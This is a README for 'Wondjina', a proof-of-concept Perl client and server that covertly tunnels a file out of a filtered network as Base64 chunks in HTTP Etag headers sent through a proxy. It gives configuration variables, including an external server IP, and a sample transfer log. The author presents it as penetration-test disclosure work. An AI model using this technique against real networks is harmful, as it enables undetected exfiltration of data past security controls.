Wondjina client/server PoC for HTTP Etag tunneling Author: Maarten Van Horenbeeck [maarten@daemon.be] URL: http://www.daemon.be/maarten/etagtunnel.html
This tool is provided only as a proof of concept to show that HTTP tunneling over Etags/If-None-Match headers can easily be accomplished. It is not a software release.
- OUTLINE
"In Aboriginal mythology, the Wondjina (or wandjina) were cloud and rain spirits who, during the Dream time, painted their images (as humans but without mouths) on cave walls. Their ghosts still exist in small ponds." http://en.wikipedia.org/wiki/Wondjina
Wondjina splits a file in short byte-strings (of user-definable length), encodes them using Base64 and then transmits the file through an HTTP proxy to a server listening on the internet.
It is not a tool, merely proof of concept code that was created during a penetration test in which our team was required to move a file out of a stringently filtered network. DNS tunneling was not an option - only HTTP proxies could do external lookups; regular HTTP tunneling was an issue as request strings were logged.
Not headers though.
- USE and CONFIGURATION
Requirements: MIME::Base64 Perl module
Run 'wondjinad.pl' on the server, and adjust the following variables in the Perl file where required:
$port = 80; Port to which to bind.
$host = '64.246.44.158'; IP address to bind to.
$file = 'wondjina.out'; File to store all received data to.
$size = '1024'; Size of random response to generate to client. If this is high, the transfer will slow down.
Run 'wondjina.pl' on the client, and adjust the following variables in the Perl file where required:
$daemon = '64.246.44.158'; Destination server to which to tunnel. This can be a host-name or IP address. Proxy must be able to resolve this.
$host = '10.0.0.1'; $host = '10.0.0.1'; The IP address of your proxy server.
$port = 3128; The port number of your proxy server.
$datasource = './wondjina.in'; The file to be tunneled.
$header = 90; Size of the Etag header. The higher, the more apparent the transfer will be, but the faster it will go.
$file = 'wondjina.txt'; Filename to request on the Wondjina daemon.
An example of a transaction:
[root@mojave tunnel]# ./wondjinad.pl Wondjina server [Web Header Tunneling] Accepting content on 64.246.44.158 port 80 and storing in wondjina.out
maarten@qetesh:~$ ./wondjina.pl Wondjina client [Web Header Tunneling] Transmitting ./wondjina.in to 64.246.44.158 through 10.0.0.1 port 3128
Processing IyEgL3Vzci9iaW4vcGVybApldmE= Processing bCAiZXhlYyAvdXNyL2Jpbi9wZXI= Processing bCAtUyAkMCAkKiIKICAgIGlmIDA= Processing OwojIENvcHlyaWdodCAoQykgMTk= [...]
[...] Generating 1024 bytes of semi-random data
Processing aCBEcmVwcGVyIDxkcmVwcGVyXEA= Processing Z251Lm9yZz5cbiI7CgoJZXhpdCA= Processing MDsKICAgIH0gZWxzaWYgKCRBUkc= Processing VlswXSBlcSAiLS1oIiB8fCAkQVI= [...]
[...] Processing IiwgaGV4KCRhZGRyKSwgJGFsbG8= Processing Y2F0ZWR7JGFkZHJ9LAoJCSAgICA= Processing JHdoZXJld2FzeyRhZGRyfSk7Cgk= Processing fQogICAgfQp9CnByaW50ICJObyA= Processing bWVtb3J5IGxlYWtzLlxuIiBpZiA= Processing KCRhbnl0aGluZyA9PSAwKTsKCmU= Processing eGl0ICRhbnl0aGluZyAhPSAwOwo=
[~] Transfer completed.